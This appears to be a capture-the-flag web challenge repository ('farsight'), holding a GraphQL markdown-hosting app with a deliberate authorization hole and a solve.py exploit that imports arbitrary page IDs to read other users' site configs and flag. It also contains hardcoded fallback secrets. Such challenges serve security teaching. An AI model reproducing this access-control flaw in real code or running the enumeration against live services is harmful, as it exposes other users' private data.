$siteId)\n                        }\n                    `,\n                    { ...data, siteId }\n                );\n\n                newPgFm.reset();\n                pgModal.style.display = \"none\";\n\n                if (res.errors) {\n                    console.error(res);\n                    alert(\"An error occurred.\");\n                }\n\n                router.navigate(\"/browser\");\n            };\n        };\n\n        confAdd.onclick = () => {\n            cfModal.style.display = \"block\";\n            const confArea = cfModal.querySelector(\"textarea\");\n            confArea.value = JSON.stringify(browser.getSite().config, null, 4);\n\n            cfModal.querySelector('[data-modal=\"submit\"]').onclick = async () => {\n                try {\n                    JSON.parse(confArea.value);\n                } catch {\n                    alert(\"Invalid JSON\");\n                    return;\n                }\n\n                const config = JSON.stringify(\n                    Object.fromEntries(JSON.parse(confArea.value).map((conf) => [conf.key, conf.value]))\n                );\n\n                const res = await graphql(\n                    `\n                        mutation setSiteconfig($config: String!, $siteId: ID!) {\n                            setSiteConfig(config: $config, siteId: $siteId)\n                        }\n                    `,\n                    { config, siteId }\n                );\n                if (res.errors) {\n                    console.error(res);\n                    alert(\"An error occurred when updating config\");\n                }\n\n                cfModal.style.display = \"none\";\n            };\n        };\n\n        function selectPage(pageId) {\n            const page = browser.getPage(pageId);\n            heading.textContent = `${browser.getSite().name} / ${page.name}`;\n            content.innerHTML = DOMPurify.sanitize(marked(page.content));\n        }\n    });\n\n    router.resolve();\n})();\n"
  },
  {
    "path": "web/farsight/frontend/assets/util.mjs",
    "content": "export async function graphql(query, params = {}) {\n    const res = await fetch(\"/graphql\", {\n        method: \"POST\",\n        headers: {\n            \"Content-Type\": \"application/json\",\n            Accept: \"application/json\",\n            Authorization: `Bearer ${localStorage.getItem(\"token\")}`,\n        },\n        body: JSON.stringify({\n            query,\n            variables: params,\n        }),\n    });\n    const jsonData = await res.json();\n    return jsonData.data;\n}\n\nexport async function getCurrentUser() {\n    if (!localStorage.getItem(\"token\")) {\n        return null;\n    }\n    return (\n        await graphql(\n            `\n                query me {\n                    me {\n                        username\n                        sites {\n                            id\n                            name\n                        }\n                    }\n                }\n            `\n        )\n    ).me;\n}\n\nexport function selectView(link) {\n    const nav = document.querySelector(\"nav\");\n    Array.from(nav.querySelectorAll(\"a[href]\")).forEach((e) => e.classList.remove(\"active\"));\n    Array.from(document.querySelectorAll(\"[data-view]\")).forEach((e) => (e.style.display = \"none\"));\n\n    nav.querySelector(`a[href=\"/${link}\"]`).classList.add(\"active\");\n    document.querySelector(`[data-view=\"${link}\"]`).style.display = \"block\";\n}\n"
  },
  {
    "path": "web/farsight/frontend/index.html",
    "content": "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n\n        <title>FarSight</title>\n        <script>\n            !localStorage.getItem(\"token\") && window.location.replace(\"/login.html\");\n        </script>\n        <link rel=\"stylesheet\" href=\"https://unpkg.com/chota@latest\" />\n        <script src=\"https://unpkg.com/navigo\"></script>\n        <script\n            src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.1/purify.min.js\"\n            integrity=\"sha512-S/PLyajatVDMRoX6YRLkZ83bPizWLo1MspY/ZgBNEujw39occlW8RxuBKn/NBDgrMXDsz0r3z4vj24reW4PvmQ==\"\n            crossorigin=\"anonymous\"\n            referrerpolicy=\"no-referrer\"\n        ></script>\n        <script\n            src=\"https://cdnjs.cloudflare.com/ajax/libs/marked/3.0.1/marked.min.js\"\n            integrity=\"sha512-VUuO/d6MS7hXmiFGEj7HtUa2FCI6Ll+xPvX9yX3bxn7ZqDWwleqXa8dtW13brbZ1ld2jiTrv8hWbpfp4B5mi4Q==\"\n            crossorigin=\"anonymous\"\n            referrerpolicy=\"no-referrer\"\n        ></script>\n        <script type=\"module\" src=\"assets/index.mjs\"></script>\n    </head>\n\n    <body style=\"margin: 3em\">\n        <nav class=\"nav\">\n            <div class=\"nav-left\">\n                <a class=\"brand\">FarSight</a>\n                <div class=\"tabs\">\n                    <a href=\"/home\" data-navigo>Home</a>\n                    <a href=\"/browser\" data-navigo>Browser</a>\n                </div>\n            </div>\n            <div class=\"nav-right\">\n                <a class=\"button outline\" href=\"/logout\" data-navigo>Logout</a>\n            </div>\n        </nav>\n        <div class=\"container\" style=\"margin-top: 5em\" data-view=\"home\">\n            <h1>FarSight</h1>\n            <p>\n                FarSight lets you host your own sites containing Markdown Pages. All you need to do is make an account\n                and we'll give you a free site!\n            </p>\n            <p>You can host private sites or make them public to share them with your friends!</p>\n            <p>\n                We're still developing the service actively and are looking for users to test and trial our beta\n                features!\n            </p>\n            <div class=\"is-horizontal-align\">\n                <img src=\"https://source.unsplash.com/NEvS5lHyrlk/640x426\" />\n            </div>\n            <div style=\"text-align: center\">\n                <small\n                    >Photo By <a href=\"https://unsplash.com/@cadop\">Mathew Schwartz</a> on\n                    <a href=\"https://unsplash.com/\">Unsplash</a></small\n                >\n            </div>\n        </div>\n        <div class=\"container\" style=\"margin-top: 3em; display: none\" data-view=\"browser\">\n            <div>\n                <div style=\"display: flex; justify-content: space-between; align-items: center\">\n                    <h5>Goto:</h5>\n                    <div>\n                        <button id=\"page-add\" class=\"button primary\" style=\"padding: 0.5rem 2.5rem; font-size: 0.75em\">\n                            Add Page\n                        </button>\n                        <button id=\"conf-add\" class=\"button dark\" style=\"padding: 0.5rem 2.5rem; font-size: 0.75em\">\n                            Site Config\n                        </button>\n                    </div>\n                </div>\n                <select id=\"page-list\"></select>\n            </div>\n            <header style=\"margin-top: 2rem\"><h1>Loading...</h1></header>\n            <main class=\"container\"></main>\n        </div>\n        <div\n            id=\"page-modal\"\n            style=\"\n                position: fixed;\n                top: 0;\n                left: 0;\n                height: 100vh;\n                width: 100vw;\n                background-color: #33333399;\n                z-index: 1337;\n                display: none;\n            \"\n        >\n            <div style=\"width: 40vw; background-color: white; margin-top: 25vh; margin-left: 30vw\">\n                <div class=\"card\">\n                    <header><h4>New Page</h4></header>\n                    <form>\n                        <input placeholder=\"Page Title\" name=\"name\" required />\n                        <textarea\n                            placeholder=\"Page Content\"\n                            name=\"content\"\n                            required\n                            rows=\"12\"\n                            style=\"resize: vertical\"\n                        ></textarea>\n                    </form>\n                    <footer class=\"is-right\" style=\"margin-top: 2em\">\n                        <a class=\"button primary\" data-modal=\"submit\">Create</a>\n                        <a class=\"button\" data-modal=\"close\">Cancel</a>\n                    </footer>\n                </div>\n            </div>\n        </div>\n        <div\n            id=\"conf-modal\"\n            style=\"\n                position: fixed;\n                top: 0;\n                left: 0;\n                height: 100vh;\n                width: 100vw;\n                background-color: #33333399;\n                z-index: 1337;\n                display: none;\n            \"\n        >\n            <div style=\"width: 40vw; background-color: white; margin-top: 25vh; margin-left: 30vw\">\n                <div class=\"card\">\n                    <header><h4>Site Config</h4></header>\n                    <textarea\n                        placeholder=\"Config JSON\"\n                        name=\"config\"\n                        required\n                        rows=\"12\"\n                        style=\"resize: vertical; font-family: monospace\"\n                    ></textarea>\n                    <footer class=\"is-right\" style=\"margin-top: 2em\">\n                        <a class=\"button primary\" data-modal=\"submit\">Submit</a>\n                        <a class=\"button\" data-modal=\"close\">Cancel</a>\n                    </footer>\n                </div>\n            </div>\n        </div>\n    </body>\n</html>\n"
  },
  {
    "path": "web/farsight/frontend/login.html",
    "content": "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n\n        <title>FarSight | Login</title>\n        <link rel=\"stylesheet\" href=\"https://unpkg.com/chota@latest\" />\n    </head>\n\n    <body style=\"margin: 3em\">\n        <nav class=\"nav\">\n            <div class=\"nav-left\">\n                <a class=\"brand\">FarSight</a>\n                <div class=\"tabs\">\n                    <a href=\"/home\" data-navigo>Home</a>\n                    <a href=\"/browser\" data-navigo>Browser</a>\n                </div>\n            </div>\n        </nav>\n        <div class=\"container\" style=\"margin-top: 5em\">\n            <h1>FarSight | Login Or Register</h1>\n            <form id=\"login\" class=\"col col-6\">\n                <p>\n                    <label for=\"username\">Username</label>\n                    <input id=\"username\" name=\"username\" required />\n                </p>\n                <p>\n                    <label for=\"password\">Password</label>\n                    <input id=\"password\" name=\"password\" type=\"password\" required />\n                </p>\n                <p>\n                    <button class=\"button primary\">Submit</button>\n                </p>\n            </form>\n        </div>\n        <script type=\"module\">\n            import { graphql } from \"./assets/util.mjs\";\n            document.querySelector(\"#login\").addEventListener(\"submit\", async function (e) {\n                e.preventDefault();\n                e.stopImmediatePropagation();\n\n                const data = Object.fromEntries(new FormData(this).entries());\n                const res = (\n                    await graphql(\n                        `\n                            mutation login($username: String!, $password: String!) {\n                                loginOrRegister(username: $username, password: $password)\n                            }\n                        `,\n                        data\n                    )\n                ).loginOrRegister;\n\n                if (!res) {\n                    alert(\"Incorrect username or password\");\n                }\n\n                localStorage.setItem(\"token\", res);\n                window.location.replace(\"/\");\n            });\n        </script>\n    </body>\n</html>\n"
  },
  {
    "path": "web/farsight/package.json",
    "content": "{\n    \"name\": \"farsight\",\n    \"version\": \"1.0.0\",\n    \"description\": \"\",\n    \"main\": \"src/app.ts\",\n    \"scripts\": {\n        \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n    },\n    \"author\": \"\",\n    \"license\": \"ISC\",\n    \"dependencies\": {\n        \"@types/express\": \"^4.17.13\",\n        \"@types/graphql-depth-limit\": \"^1.1.2\",\n        \"@types/jsonwebtoken\": \"^8.5.5\",\n        \"@types/koa\": \"^2.13.4\",\n        \"@types/koa-mount\": \"^4.0.1\",\n        \"@types/koa-static\": \"^4.0.2\",\n        \"@types/node\": \"^16.7.1\",\n        \"@types/pg\": \"^8.6.1\",\n        \"apollo-server-core\": \"^3.3.0\",\n        \"apollo-server-koa\": \"^3.3.0\",\n        \"argon2\": \"^0.28.2\",\n        \"graphql\": \"^15.5.1\",\n        \"graphql-depth-limit\": \"^1.1.0\",\n        \"jsonwebtoken\": \"^8.5.1\",\n        \"koa\": \"^2.13.1\",\n        \"koa-mount\": \"^4.0.0\",\n        \"koa-static\": \"^5.0.0\",\n        \"npm\": \"^7.21.0\",\n        \"pg\": \"^8.7.1\",\n        \"rate-limiter-flexible\": \"^2.2.4\",\n        \"typescript\": \"^4.3.5\"\n    },\n    \"devDependencies\": {\n        \"prettier\": \"^2.3.2\",\n        \"ts-node\": \"^10.2.1\"\n    }\n}\n"
  },
  {
    "path": "web/farsight/solve/solve.py",
    "content": "from urllib3.util.retry import Retry\nfrom requests.adapters import HTTPAdapter\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\n\nadapter = HTTPAdapter(max_retries=Retry(\n    total=3,\n    backoff_factor=1,\n    status_forcelist=[429],\n    method_whitelist=[\"POST\"]\n))\nsess = requests.Session()\nsess.mount(\"https://\", adapter)\nsess.mount(\"http://\", adapter)\n\n# 1. Introspect\nintrospected = sess.post(f\"{BASE_URL}/graphql\", json={\n    'query': \"\"\"query introspect {\n      __schema {\n        types { kind name description fields { name description } }\n      }\n    }\"\"\"\n}).json()['data']['__schema']['types']\n\n# Check required gadgets exist\npage_type = next(o for o in introspected if o['name'] == 'Page')\nmutation_type = next(o for o in introspected if o['name'] == 'Mutation')\n\nowner_site_field = next(f for f in page_type['fields'] if f['name'] == 'ownerSite')\nsite_refs_field = next(f for f in page_type['fields'] if f['name'] == 'siteRefs')\nimport_page_mut = next(f for f in mutation_type['fields'] if f['name'] == 'importPage')\n\nassert 'beta' in owner_site_field['description']\nassert 'beta' in site_refs_field['description']\nassert 'beta' in import_page_mut['description']\n\n# 2. Signin\ntoken = sess.post(f\"{BASE_URL}/graphql\", json={\n    'query': \"\"\"mutation register {\n        loginOrRegister(username: \"solve\", password: \"solve83e5bff44ba10605\")\n    }\"\"\"\n}).json()['data']['loginOrRegister']\n\n# 3. Get our site id\nme = sess.post(f\"{BASE_URL}/graphql\", json={\n    'query': \"\"\"query me {\n        me { id sites { id } }\n    }\"\"\"\n}, headers={\"Authorization\": f\"Bearer {token}\"}).json()['data']['me']\n\n# 3. Import the a few pages into our site\nfor page in range(0, 16):\n    sess.post(f\"{BASE_URL}/graphql\", json={\n        'query': \"\"\"mutation import($pageId: ID!, $siteId: ID!) {\n            importPage(pageId: $pageId, siteId: $siteId)\n        }\"\"\",\n        'variables': {'pageId': page, 'siteId': me['sites'][0]['id']},\n    }, headers={'Authorization': f'Bearer {token}'})\n\n# 4. Check our sites pages\npages = sess.post(f\"{BASE_URL}/graphql\", json={\n    'query': \"\"\"query sitepage($site: ID!) {\n        site(id: $site) {\n            id\n            pages {\n                id\n                ownerSite {\n                    id\n                    name\n                    config { key value }\n                }\n            }\n        }\n    }\"\"\",\n    'variables': {'site': me['sites'][0]['id']}\n}, headers={'Authorization': f'Bearer {token}'}).json()['data']['site']['pages']\n\n# 5. Find the flag in the configs\nfor page in pages:\n    for conf in page['ownerSite']['config']:\n        if conf['key'] == 'flag':\n            print(conf['value'])\n            break\n"
  },
  {
    "path": "web/farsight/src/app.ts",
    "content": "import * as fs from \"fs\";\n\nimport { ApolloServer, AuthenticationError } from \"apollo-server-koa\";\nimport * as argon2 from \"argon2\";\nimport { Request } from \"koa\";\nimport depthLimit from \"graphql-depth-limit\";\nimport * as jwt from \"jsonwebtoken\";\nimport Koa from \"koa\";\nimport KoaStatic from \"koa-static\";\nimport KoaMount from \"koa-mount\";\nimport { RateLimiterMemory } from \"rate-limiter-flexible\";\n\nimport {\n    Database,\n    getSiteById,\n    getSiteOwner,\n    getSitePages,\n    getUserById,\n    getUserPassword,\n    getUserSites,\n    importPage,\n    makePage,\n    makeSite,\n    makeUser,\n    pageSites,\n    updateSiteConfig,\n} from \"./db\";\nimport { LISTEN_PORT, SCHEMA_FILE, SECRET_KEY, FRONTEND_BASE, RATE_LIMIT_BYPASS } from \"./config\";\nimport { ApolloServerPluginLandingPageDisabled, ValidationError } from \"apollo-server-core\";\n\nexport type ResolverContext = {\n    db: Database;\n    user: number | undefined;\n};\n\nfunction getAuthedUser(req: Request): number | undefined {\n    const bearer = req.headers.authorization?.split(\" \", 2)[1];\n    try {\n        return bearer ? (<{ userId: number }>jwt.verify(bearer, SECRET_KEY)).userId : undefined;\n    } catch {\n        return undefined;\n    }\n}\n\nasync function verifyPassword(passwordHash: string, password: string): Promise<boolean> {\n    try {\n        return await argon2.verify(passwordHash, password);\n    } catch {\n        return false;\n    }\n}\n\nexport const server = new ApolloServer({\n    typeDefs: fs.readFileSync(SCHEMA_FILE).toString(),\n    resolvers: {\n        Query: {\n            async me(_, __, ctx: ResolverContext) {\n                if (ctx.user === undefined) throw new AuthenticationError(\"No logged in user\");\n\n                return await getUserById(ctx.db, ctx.user);\n            },\n            async site(_, { id }, ctx: ResolverContext) {\n                if (ctx.user === undefined) throw new AuthenticationError(\"Unauthorized\");\n\n                const site = await getSiteById(ctx.db, id);\n                return site?.ownerId === ctx.user || site?.public ? site : null;\n            },\n        },\n        Mutation: {\n            async loginOrRegister(_, { username, password }, ctx: ResolverContext) {\n                const hashedPassword = await argon2.hash(password);\n                const createdUser = await makeUser(ctx.db, username, hashedPassword);\n                if (createdUser !== undefined) {\n                    await makeSite(ctx.db, createdUser, `${username}'s Site`);\n                }\n\n                const userInfo = await getUserPassword(ctx.db, username);\n                if (!userInfo || !(await verifyPassword(userInfo.password, password))) {\n                    throw new AuthenticationError(\"Incorrect credentials\");\n                }\n\n                return jwt.sign({ userId: userInfo.id }, SECRET_KEY);\n            },\n            async newPage(_, { name, content, siteId }, ctx: ResolverContext) {\n                if (ctx.user === undefined) throw new AuthenticationError(\"Unauthorized\");\n\n                const siteOwner = await getSiteOwner(ctx.db, siteId);\n                if (siteOwner?.id !== ctx.user) throw new AuthenticationError(\"Forbidden\");\n\n                return await makePage(ctx.db, name, content, siteId);\n            },\n            async setSiteConfig(_, { config, siteId }, ctx: ResolverContext) {\n                if (ctx.user === undefined) throw new AuthenticationError(\"Unauthorized\");\n\n                const siteOwner = await getSiteOwner(ctx.db, siteId);\n                if (siteOwner?.id !== ctx.user) throw new AuthenticationError(\"Forbidden\");\n\n                return await updateSiteConfig(ctx.db, config, siteId);\n            },\n            async importPage(_, { pageId, siteId }, ctx: ResolverContext) {\n                if (ctx.user === undefined) return null;\n\n                const siteOwner = await getSiteOwner(ctx.db, siteId);\n                if (siteOwner?.id !== ctx.user) throw new AuthenticationError(\"Forbidden\");\n\n                return await importPage(ctx.db, pageId, siteId);\n            },\n        },\n        User: {\n            async sites(parent, _, ctx: ResolverContext) {\n                if (!parent) return [];\n                return await getUserSites(ctx.db, parent.id);\n            },\n        },\n        Site: {\n            async owner(parent, _, ctx: ResolverContext) {\n                if (!parent) return null;\n                const site = await getSiteById(ctx.db, parent.id);\n                return site && (await getUserById(ctx.db, site.ownerId));\n            },\n            async pages(parent, _, ctx: ResolverContext) {\n                if (!parent) return [];\n                return await getSitePages(ctx.db, parent.id);\n            },\n        },\n        Page: {\n            async ownerSite(parent, _, ctx: ResolverContext) {\n                if (!parent) return null;\n                return (await pageSites(ctx.db, parent.id)).owner;\n            },\n            async siteRefs(parent, _, ctx: ResolverContext) {\n                if (!parent) return null;\n                return (await pageSites(ctx.db, parent.id)).refs;\n            },\n        },\n    },\n    context: async ({ ctx: { request } }) => {\n        return {\n            db: await Database.getHandle(),\n            user: getAuthedUser(request),\n        };\n    },\n    validationRules: [depthLimit(8)],\n    plugins: [\n        ApolloServerPluginLandingPageDisabled(),\n        {\n            async requestDidStart() {\n                return {\n                    async willSendResponse({ context }) {\n                        context.db && context.db.close();\n                    },\n                };\n            },\n        },\n    ],\n    formatError: (err) => {\n        if (err.originalError instanceof AuthenticationError) {\n            return Error(\"Unauthenticated\");\n        } else if (err instanceof ValidationError) {\n            return Error(\"Invalid request. Make sure your request is not too deep (maxdepth=8).\");\n        } else {\n            console.log(err);\n            return Error(\"An error occurred\");\n        }\n    },\n});\n\n(async function () {\n    await server.start();\n\n    const rateLimiters = {\n        // 24 rps\n        webapp: new RateLimiterMemory({\n            points: 24,\n            duration: 1,\n        }),\n        // 4 rps\n        graphql: new RateLimiterMemory({\n            points: 4,\n            duration: 1,\n        }),\n    };\n\n    const app = new Koa();\n    app.use(async (ctx, next) => {\n        // Bypass for token holders\n        if (ctx.get(\"x-rate-limit-bypass\") == RATE_LIMIT_BYPASS) {\n            return await next();\n        }\n\n        const limiter = ctx.request.url === \"/graphql\" ? rateLimiters.graphql : rateLimiters.webapp;\n        try {\n            await limiter.consume(ctx.get('x-real-ip') || ctx.ip);\n            return await next();\n        } catch (_e) {\n            ctx.status = 429;\n            ctx.body = \"Too many requests\";\n        }\n    });\n    server.applyMiddleware({ app, path: \"/graphql\" });\n    app.use(KoaMount(\"/\", KoaStatic(FRONTEND_BASE)));\n    app.use(async (ctx, next) => {\n        if (ctx.status === 404) {\n            return ctx.redirect(\"/\");\n        }\n        return await next();\n    });\n    app.use(async (ctx, next) => {\n        ctx.set(\"X-Frame-Options\", \"deny\");\n        ctx.set(\"X-Content-Type-Option\", \"nosniff\");\n        ctx.set(\"Referrer-Policy\", \"no-referrer\");\n        // Omitting CSP since that might make people think its a XSS chal\n        return await next();\n    });\n\n    app.listen(LISTEN_PORT);\n})();\n"
  },
  {
    "path": "web/farsight/src/assets/schema.gql",
    "content": "type User {\n    id: ID!\n    \"Username\"\n    username: String!\n    \"Sites owned by the user\"\n    sites: [Site!]!\n}\n\ntype Site {\n    id: ID!\n    \"Name or title of the site\"\n    name: String!\n    \"Pages in the site\"\n    pages: [Page!]!\n    \"Should this site be accessible by non-owner users\"\n    public: Boolean!\n    \"Owner of the site\"\n    owner: User!\n    \"Configurations to control styling - please do not store secrets here\"\n    config: [ConfigPair!]!\n}\n\ntype ConfigPair {\n    key: String!\n    value: String!\n}\n\ntype Page {\n    id: ID!\n    \"Name or title of the page\"\n    name: String!\n    \"Markdown content of the page\"\n    content: String!\n    \"(beta) Main site which hosts this page\"\n    ownerSite: Site!\n    \"(beta) Sites that reference this page\"\n    siteRefs: [Site!]!\n}\n\ntype Query {\n    \"Get the current user\"\n    me: User\n    \"Get a site by ID\"\n    site(id: ID!): Site\n}\n\ntype Mutation {\n    \"Login as a user\"\n    loginOrRegister(username: String!, password: String!): String\n    \"Create a new page\"\n    newPage(name: String, content: String, siteId: ID!): ID!\n    \"Sets site config\"\n    setSiteConfig(config: String!, siteId: ID!): ID!\n    \"(beta) import an existing page into the site\"\n    importPage(pageId: ID!, siteId: ID!): ID!\n}\n"
  },
  {
    "path": "web/farsight/src/config.ts",
    "content": "import path from \"path\";\n\nexport const SECRET_KEY = process.env[\"SECRET_KEY\"] || \"pqFCx8hMn7t2haovHW38tj-gRVbPCIv0vHHP3luRvUA\";\nexport const RATE_LIMIT_BYPASS = process.env[\"RATE_LIMIT_BYPASS\"] || \"x0vpwHou6Z8c7dMDWT5FygR4H1A_YyrrgC7SxzfNCdk\";\nexport const LISTEN_PORT = 8000;\n\nexport const SCHEMA_FILE = getRelPath(\"./assets/schema.gql\");\nexport const FRONTEND_BASE = getRelPath(\"../frontend\");\n\nfunction getRelPath(asset: string) {\n    return path.resolve(__dirname, asset);\n}\n"
  },
  {
    "path": "web/farsight/src/db.ts",
    "content": "import { Pool, PoolClient } from \"pg\";\n\nexport type User = {\n    id: number;\n    username: string;\n};\n\nexport type Site = {\n    id: number;\n    name: string;\n    public: boolean;\n    config: { key: string; value: string }[];\n    ownerId: number;\n};\n\nexport type Page = {\n    id: number;\n    name: string;\n    content: string;\n};\n\nconst dbPool = new Pool();\n\nexport class Database {\n    #client: PoolClient;\n    constructor(client: PoolClient) {\n        this.#client = client;\n    }\n\n    async get(query: string, args: any[]) {\n        const rows = await this.all(query, args);\n        return rows.length > 0 ? rows[0] : undefined;\n    }\n\n    async all(query: string, args: any[]) {\n        return (await this.run(query, args)).rows;\n    }\n\n    async run(query: string, args: any[]) {\n        return await this.#client.query(query, args);\n    }\n\n    close() {\n        this.#client.release();\n    }\n\n    static async getHandle() {\n        return new Database(await dbPool.connect());\n    }\n}\n\nfunction configFromString(configStr: string) {\n    return Object.entries(<{ [k: string]: string }>JSON.parse(configStr)).map(([k, v]) => ({ key: k, value: v }));\n}\n\nexport async function getUserById(db: Database, userId: number): Promise<User | undefined> {\n    return await db.get(`SELECT id, username FROM \"user\" WHERE id=$1`, [userId]);\n}\n\nexport async function getSiteById(db: Database, siteId: number): Promise<Site | undefined> {\n    const site = await db.get(\"SELECT id, * FROM site WHERE id=$1\", [siteId]);\n    return {\n        id: site.id,\n        name: site.name,\n        public: site.public,\n        config: configFromString(site.config),\n        ownerId: site.owner,\n    };\n}\n\nexport async function getUserSites(db: Database, ownerId: number): Promise<Site[]> {\n    return (await db.all(\"SELECT id, * FROM site WHERE owner=$1\", [ownerId])).map((site) => ({\n        id: site.id,\n        name: site.name,\n        public: site.public,\n        config: configFromString(site.config),\n        ownerId,\n    }));\n}\n\nexport async function getSitePages(db: Database, siteId: number): Promise<Page[]> {\n    return (\n        await db.all(\"SELECT id, * FROM page WHERE site=$1 OR id IN (SELECT page FROM page_ref WHERE site=$1)\", [\n            siteId,\n        ])\n    ).map((page) => ({\n        id: page.id,\n        name: page.name,\n        content: page.content,\n    }));\n}\n\nexport async function pageSites(db: Database, pageId: number): Promise<{ owner: Site; refs: Site[] }> {\n    const owningSite = await db.get(\"SELECT id, * FROM site WHERE id=(SELECT site FROM page WHERE id=$1)\", [pageId]);\n    const refedSites = await db.all(\"SELECT id, * FROM site WHERE id IN (SELECT site FROM page_ref WHERE page=$1)\", [\n        pageId,\n    ]);\n\n    return {\n        owner: {\n            id: owningSite.id,\n            name: owningSite.name,\n            public: owningSite.public,\n            config: configFromString(owningSite.config),\n            ownerId: owningSite.owner,\n        },\n        refs: refedSites.map((site) => ({\n            id: site.id,\n            name: site.name,\n            public: site.public,\n            config: configFromString(site.config),\n            ownerId: site.owner,\n        })),\n    };\n}\n\nexport async function getUserPassword(\n    db: Database,\n    username: string\n): Promise<{ id: number; password: string } | undefined> {\n    const userInfo = await db.get(`SELECT id, password FROM \"user\" WHERE username=$1`, [username]);\n    return (\n        userInfo && {\n            id: userInfo.id,\n            password: userInfo.password,\n        }\n    );\n}\n\nexport async function getSiteOwner(db: Database, siteId: number): Promise<User | undefined> {\n    const ownerId = await db.get(\"SELECT owner FROM site WHERE id=$1\", [siteId]);\n    return await getUserById(db, ownerId.owner);\n}\n\nexport async function makeUser(db: Database, username: string, password: string): Promise<number | undefined> {\n    try {\n        const res = await db.get(`INSERT INTO \"user\" (username, password) VALUES ($1, $2) RETURNING id`, [\n            username,\n            password,\n        ]);\n        return res.id;\n    } catch (e: any) {\n        // unique contraint\n        if (e.code !== \"23505\") {\n            throw e;\n        }\n    }\n}\n\nexport async function makeSite(db: Database, userId: number, name: string): Promise<number | undefined> {\n    const res = await db.get(\"INSERT INTO site (name, public, config, owner) VALUES ($1, $2, $3, $4) RETURNING id\", [\n        name,\n        false,\n        JSON.stringify({ background: \"white\", color: \"black\" }),\n        userId,\n    ]);\n    return res.id;\n}\n\nexport async function updateSiteConfig(db: Database, config: String, siteId: number): Promise<number | undefined> {\n    await db.run(\"UPDATE site SET config=$1 WHERE id=$2\", [config, siteId]);\n    return 1;\n}\n\nexport async function makePage(db: Database, name: string, ctnt: string, siteId: number): Promise<number | undefined> {\n    const res = await db.get(\"INSERT INTO page(name, content, site) VALUES ($1, $2, $3) RETURNING id\", [\n        name,\n        ctnt,\n        siteId,\n    ]);\n\n    return res.id;\n}\n\nexport async function importPage(db: Database, pageId: number, siteId: number): Promise<number | undefined> {\n    await db.run(\"INSERT INTO page_ref (site, page) VALUES ($1, $2)\", [siteId, pageId]);\n    return 1;\n}\n"
  },
  {
    "path": "web/farsight/tsconfig.json",
    "content": "{\n    \"compilerOptions\": {\n        /* Visit https://aka.ms/tsconfig.json to read more about this file */\n\n        /* Basic Options */\n        // \"incremental\": true,                         /* Enable incremental compilation */\n        \"target\": \"ES2018\" /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019', 'ES2020', 'ES2021', or 'ESNEXT'. */,\n        \"module\": \"commonjs\" /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', 'es2020', or 'ESNext'. */,\n        \"lib\": [\"es2018\", \"ESNext.AsyncIterable\"] /* Specify library files to be included in the compilation. */,\n        // \"allowJs\": true,                             /* Allow javascript files to be compiled. */\n        // \"checkJs\": true,                             /* Report errors in .js files. */\n        // \"jsx\": \"preserve\",                           /* Specify JSX code generation: 'preserve', 'react-native', 'react', 'react-jsx' or 'react-jsxdev'. */\n        // \"declaration\": true,                         /* Generates corresponding '.d.ts' file. */\n        // \"declarationMap\": true,                      /* Generates a sourcemap for each corresponding '.d.ts' file. */\n        \"sourceMap\": false /* Generates corresponding '.map' file. */,\n        // \"outFile\": \"./\",                             /* Concatenate and emit output to single file. */\n        \"outDir\": \"./build\" /* Redirect output structure to the directory. */,\n        // \"rootDir\": \"./\",                             /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */\n        // \"composite\": true,                           /* Enable project compilation */\n        // \"tsBuildInfoFile\": \"./\",                     /* Specify file to store incremental compilation information */\n        // \"removeComments\": true,                      /* Do not emit comments to output. */\n        // \"noEmit\": true,                              /* Do not emit outputs. */\n        // \"importHelpers\": true,                       /* Import emit helpers from 'tslib'. */\n        // \"downlevelIteration\": true,                  /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */\n        // \"isolatedModules\": true,                     /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */\n\n        /* Strict Type-Checking Options */\n        \"strict\": true /* Enable all strict type-checking options. */,\n        // \"noImplicitAny\": true,                       /* Raise error on expressions and declarations with an implied 'any' type. */\n        // \"strictNullChecks\": true,                    /* Enable strict null checks. */\n        // \"strictFunctionTypes\": true,                 /* Enable strict checking of function types. */\n        // \"strictBindCallApply\": true,                 /* Enable strict 'bind', 'call', and 'apply' methods on functions. */\n        \"strictPropertyInitialization\": false /* Enable strict checking of property initialization in classes. */,\n        // \"noImplicitThis\": true,                      /* Raise error on 'this' expressions with an implied 'any' type. */\n        // \"alwaysStrict\": true,                        /* Parse in strict mode and emit \"use strict\" for each source file. */\n\n        /* Additional Checks */\n        // \"noUnusedLocals\": true,                      /* Report errors on unused locals. */\n        // \"noUnusedParameters\": true,                  /* Report errors on unused parameters. */\n        // \"noImplicitReturns\": true,                   /* Report error when not all code paths in function return a value. */\n        // \"noFallthroughCasesInSwitch\": true,          /* Report errors for fallthrough cases in switch statement. */\n        // \"noUncheckedIndexedAccess\": true,            /* Include 'undefined' in index signature results */\n        // \"noImplicitOverride\": true,                  /* Ensure overriding members in derived classes are marked with an 'override' modifier. */\n        // \"noPropertyAccessFromIndexSignature\": true,  /* Require undeclared properties from index signatures to use element accesses. */\n\n        /* Module Resolution Options */\n        // \"moduleResolution\": \"node\",                  /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */\n        // \"baseUrl\": \"./\",                             /* Base directory to resolve non-absolute module names. */\n        // \"paths\": {},                                 /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */\n        // \"rootDirs\": [],                              /* List of root folders whose combined content represents the structure of the project at runtime. */\n        // \"typeRoots\": [],                             /* List of folders to include type definitions from. */\n        // \"types\": [],                                 /* Type declaration files to be included in compilation. */\n        // \"allowSyntheticDefaultImports\": true,        /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */\n        \"esModuleInterop\": true /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */,\n        // \"preserveSymlinks\": true,                    /* Do not resolve the real path of symlinks. */\n        // \"allowUmdGlobalAccess\": true,                